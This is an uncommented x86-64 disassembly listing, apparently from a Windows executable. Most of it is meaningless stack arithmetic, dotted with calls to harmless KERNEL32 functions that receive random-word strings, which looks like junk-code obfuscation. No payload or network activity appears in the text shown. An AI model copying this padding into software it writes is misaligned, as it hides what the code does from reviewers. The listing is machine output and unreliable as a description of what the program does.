mov r8d, dword [rax]
mov eax, dword [rbp + 0x31e4]
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp eax, edx
jb 0x140009761
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x2468]
sub ecx, edx
mov dword [rax], ecx
lea rax, [rbp + 0x34fc]
mov qword [rbp + 0xe98], rax
mov ecx, dword [0x140170314]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x4d83]
mov byte [rbp + 0x569f], al
lea rax, [rbp + 0x2b36]
mov qword [rbp + 0x241d8], rax
jmp 0x140009778
movzx eax, word [rbp + 0x1142]
movzx edx, word [rbp + 0x12f8]
sub eax, edx
mov word [0x140170310], ax
nop
mov dword [rbp + 0x2428c], 0x7025
movzx eax, word [rbp + 0x1e9e]
movzx edx, ax
movzx eax, word [rbp + 0x12f8]
movzx eax, ax
add edx, eax
movzx ecx, word [rbp + 0x1142]
movzx eax, word [0x140170310]
and eax, ecx
movzx eax, ax
cmp edx, eax
jl 0x140009861
lea rax, [rbp + 0x1e9e]
mov qword [rbp + 0x24228], rax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0xe
jne 0x1400097ed
mov ecx, dword [rbp + 0x13a8]
mov edx, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
jmp 0x140009861
mov ecx, dword [0x140176030]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x5c40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
cwde
cmp eax, 0x5863
je 0x14000981f
cmp eax, 0x5e0e
je 0x140009849
jmp 0x140009860
movzx eax, byte [rbp + 0x316b]
movzx ecx, al
movzx eax, byte [rbp + 0x316b]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x140009860
movzx eax, byte [rbp + 0x316b]
movzx edx, byte [rbp + 0x1c57]
sub eax, edx
mov byte [rbp + 0x1b1f], al
nop
nop
movzx eax, word [rbp + 0x1142]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x12f8], ax
lea rax, [rbp + 0x18b0]
mov qword [rbp + 0x23b58], rax
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5c40]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x34fc], eax
lea rax, [rbp + 0x34fc]
mov qword [rbp + 0x25e8], rax
movzx eax, byte [rbp + 0x1b1f]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x316b]
or eax, ecx
movzx eax, al
cmp edx, eax
je 0x140009920
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xe98]
mov dword [rsp + 0x20], 0xb2
mov r9, rdx
mov r8, rax
lea rax, str.villaindresseswallpaperingFinery
mov rdx, rax
lea rax, str.sicily_ridged
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
call rax
mov dword [rbp + 0x23b7c], eax
mov rax, qword [rbp + 0x23b58]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
xor edx, ecx
mov dword [rax], edx
movzx edx, byte [rbp + 0x23d7]
movzx eax, byte [rbp + 0x569f]
and eax, edx
movsx edx, al
movzx eax, byte [rbp + 0x58f3]
movsx ecx, al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
add eax, ecx
cmp edx, eax
jge 0x140009a14
mov edx, dword [0x140170314]
mov eax, dword [rbp + 0x34fc]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0xc4]
sub edx, eax
cmp ecx, edx
je 0x1400099e4
movzx ecx, byte [rbp + 0x316b]
movzx edx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x3ff0]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
add eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x25e8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
jmp 0x140009a14
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x3238]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessId]
call rax
mov dword [rbp + 0x5138], eax
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
movzx edx, byte [rbp + 0x4d83]
movzx eax, byte [rbp + 0x23d7]
xor eax, edx
mov byte [rbp + 0x569f], al
movzx eax, byte [rbp + 0x316b]
movzx edx, al
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x1b1f], al
add dword [rbp + 0x24298], 0xed
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
or eax, edx
mov word [0x140170310], ax
mov rax, qword [rbp + 0x3378]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x13a8], edx
mov rax, qword [rbp + 0x25e8]
mov ecx, dword [rax]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x5c40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x5138]
mov rax, qword [rbp + 0x3378]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x18c4], eax
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
xor edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3ff0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
mov edx, eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x241d8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x4f66]
and eax, edx
mov word [rbp + 0x2b36], ax
mov edx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x13a8], edx
mov rax, qword [rbp + 0x25e8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
add eax, edx
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
add eax, edx
mov word [rbp + 0x12f8], ax
movzx edx, byte [rbp + 0x316b]
movzx ecx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x3ff0]
sub edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x34fc]
mov eax, dword [rbp + 0x8ec]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x23b58]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0xe98]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
and eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
or edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x23b58]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x18c4]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe98]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5c40]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xc4]
add eax, edx
mov dword [rbp + 0x34fc], eax
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5c40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
add eax, edx
mov word [rbp + 0x5bcc], ax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x58f3]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x569f], al
movzx edx, byte [rbp + 0x1b1f]
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
movzx eax, word [rbp + 0x1e9e]
movzx edx, word [rbp + 0x1142]
sub eax, edx
mov word [rbp + 0x12f8], ax
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x54e8]
add eax, edx
mov dword [rbp + 0x17c0], eax
mov edx, dword [rbp + 0x18c4]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x23b58]
mov dword [rax], edx
movzx eax, word [rbp + 0x1142]
movzx ecx, word [rbp + 0x1e9e]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x1b1f], al
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23b58]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x13a8], eax
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x5c40]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0xe98]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
and edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
movzx eax, word [0x140170310]
movzx ecx, word [rbp + 0x12f8]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov ecx, dword [rbp + 0x18b0]
mov edx, dword [rbp + 0x54e8]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
cmp dword [rbp + 0x24298], 0x12398
jne 0x140009a14
movzx eax, word [rbp + 0x5bcc]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
add eax, edx
mov word [rbp + 0x2b36], ax
lea rax, [rbp + 0x23d7]
mov qword [rbp + 0x5b78], rax
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx eax, ax
test eax, eax
jne 0x14000a032
movzx eax, word [rbp + 0x1142]
movzx eax, ax
test eax, eax
jne 0x14000a00f
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
cmp eax, 0x2c
jne 0x140009fff
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
call fcn.14015ab3a
jmp 0x14000a00d
movzx eax, byte [rbp + 0x316b]
mov byte [rbp + 0x2433], al
nop
jmp 0x14000a02d
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
add edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
nop
jmp 0x14000a175
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx eax, ax
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jle 0x14000a11c
lea rax, [rbp + 0x6c0]
mov edx, 0x6f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
call rax
mov dword [rbp + 0x13a8], eax
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x18c4], eax
mov rax, qword [rbp + 0x3f40]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x5e38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call rax
mov dword [rbp + 0x23b6c], eax
movzx eax, byte [rbp + 0x569f]
movsx r8d, al
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx eax, al
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.140159c12
jmp 0x14000a174
movzx eax, byte [rbp + 0x1c57]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
sub edx, eax
mov r8d, edx
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x2433]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
jl 0x14000a174
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
or edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
nop
mov edx, dword [rbp + 0x18b0]
mov eax, dword [rbp + 0x31e4]
mov ecx, edx
and ecx, eax
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [0x140170318]
sub edx, eax
cmp ecx, edx
je 0x14000a1b4
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x54e8], eax
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x2433]
movzx eax, al
sub edx, eax
cmp ecx, edx
jle 0x14000a48b
movzx eax, byte [rbp + 0x2433]
movzx ecx, al
movzx eax, byte [rbp + 0x1c57]
movzx edx, al
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x14015964e
movzx edx, word [rbp + 0x1142]
movzx eax, word [0x140170310]
add eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
xor eax, edx
mov dword [rbp + 0xf2c], eax
mov r8d, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
or eax, edx
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x25e8]
mov r8d, dword [rax]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x25e8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b1f]
and eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x1e9e], ax
movzx eax, word [rbp + 0x5bcc]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x58f3]
add eax, edx
mov byte [rbp + 0x4d83], al
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov eax, dword [rbp + 0x54e8]
sub edx, eax
mov dword [rbp + 0x18c4], edx
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x34fc]
add eax, edx
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x1142], ax
movzx ecx, byte [rbp + 0x1b1f]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
add edx, ecx
mov byte [rax], dl
mov ecx, dword [rbp + 0x54e8]
mov edx, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x3378]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0xc4], eax
add dword [rbp + 0x242f4], 0x12
mov rax, qword [rbp + 0x23b58]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x3378]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
xor eax, edx
mov word [rbp + 0x1e9e], ax
movzx eax, byte [rbp + 0x2433]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x40f0]
mov byte [rax], dl
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [0x140170314]
and eax, edx
mov dword [rbp + 0x8ec], eax
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x8ec]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24200]
mov ecx, dword [rax]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x25e8]
add edx, ecx
mov dword [rax], edx
cmp dword [rbp + 0x242f4], 0x7678
jne 0x14000a220
mov rax, qword [rbp + 0xe98]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
test eax, eax
je 0x14000a61f
cmp eax, 0xbe93c754
jne 0x1401595eb
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
add edx, eax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov eax, dword [rbp + 0x5138]
and eax, ecx
cmp eax, edx
jb 0x14000a50e
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [0x140170310], ax
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18c4]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov eax, dword [0x140170318]
xor eax, ecx
cmp eax, edx
jb 0x14000a594
movzx eax, byte [rbp + 0x569f]
movsx r8d, al
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx eax, al
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.140159c12
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
cmp eax, 0x415
je 0x14000a5cd
cmp eax, 0x730
je 0x14000a602
jmp 0x1401595eb
lea rax, [rbp + 0x18c4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
call rax
mov dword [rbp + 0x23b54], eax
movzx ecx, word [rbp + 0x1e9e]
movzx edx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
jmp 0x14000a61a
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18c4]
sub edx, eax
mov dword [rbp + 0x17c0], edx
nop
jmp 0x1401595eb
movzx eax, byte [rbp + 0x58f3]
movsx edx, al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
movsx eax, al
add eax, edx
cmp ecx, eax
je 0x14000a6e0
mov rax, qword [rbp + 0xe98]
mov eax, dword [rax]
cmp eax, 0x1c704e45
jne 0x14000a6bc
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1e9e]
xor eax, edx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0x3238]
lea rdx, [rbp + 0x1142]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
call rax
mov dword [rbp + 0x23b7c], eax
mov rax, qword [rbp + 0x5c40]
mov eax, dword [rax]
mov ecx, eax
call fcn.14015ac03
jmp 0x14000a777
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
or edx, ecx
mov byte [rax], dl
jmp 0x14000a777
mov edx, dword [0x140170318]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x3378]
mov r8d, dword [rax]
mov eax, dword [rbp + 0x18b0]
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp eax, edx
jae 0x14000a72d
lea rax, [rbp + 0x4f66]
mov rdx, rax
mov ecx, 0xe6
mov rax, qword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
call rax
mov dword [rbp + 0x23b7c], eax
lea rax, [rbp + 0x5138]
mov qword [rbp + 0x242a0], rax
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
add eax, edx
mov dword [rbp + 0x8ec], eax
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0xc4]
add edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
lea rax, [0x140170318]
mov qword [rbp + 0x24278], rax
movzx edx, byte [rbp + 0x1c57]
movzx eax, byte [rbp + 0x316b]
and edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x5c40]
mov eax, dword [rax]
cmp eax, 0x24161d46
jne 0x14000a88a
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
cwde
mov ecx, edx
sub ecx, eax
movzx eax, word [rbp + 0x4f66]
movsx edx, ax
movzx eax, word [rbp + 0x2b36]
cwde
add eax, edx
cmp ecx, eax
jg 0x14000a825
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x569f]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x5b78]
mov byte [rax], dl
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
xor eax, edx
mov word [0x140170310], ax
mov eax, dword [0x140176030]
mov ecx, eax
call fcn.14015ac03
jmp 0x14000a867
lea rax, [rbp + 0x220]
mov r8d, 0x48
mov rdx, rax
lea rax, str.SaturnaliaCrassly
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLongPathNameW]
call rax
mov dword [rbp + 0x13a8], eax
movzx edx, byte [rbp + 0x316b]
movzx eax, byte [rbp + 0x1c57]
or edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x13a8], eax
jmp 0x140159514
mov eax, dword [0x140170318]
mov dword [rbp + 0x40c0], eax
jmp 0x14000abe3
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xf2c]
and eax, edx
mov dword [rbp + 0xc4], eax
sub dword [rbp + 0x242e4], 0xbb
mov edx, dword [rbp + 0xc4]
mov eax, dword [rbp + 0x8ec]
add eax, edx
mov dword [rbp + 0x34fc], eax
mov edx, dword [0x140170314]
mov eax, dword [rbp + 0x34fc]
add eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
and eax, edx
mov word [rbp + 0x1e9e], ax
movzx edx, byte [rbp + 0x2433]
movzx ecx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x3ff0]
sub edx, ecx
mov byte [rax], dl
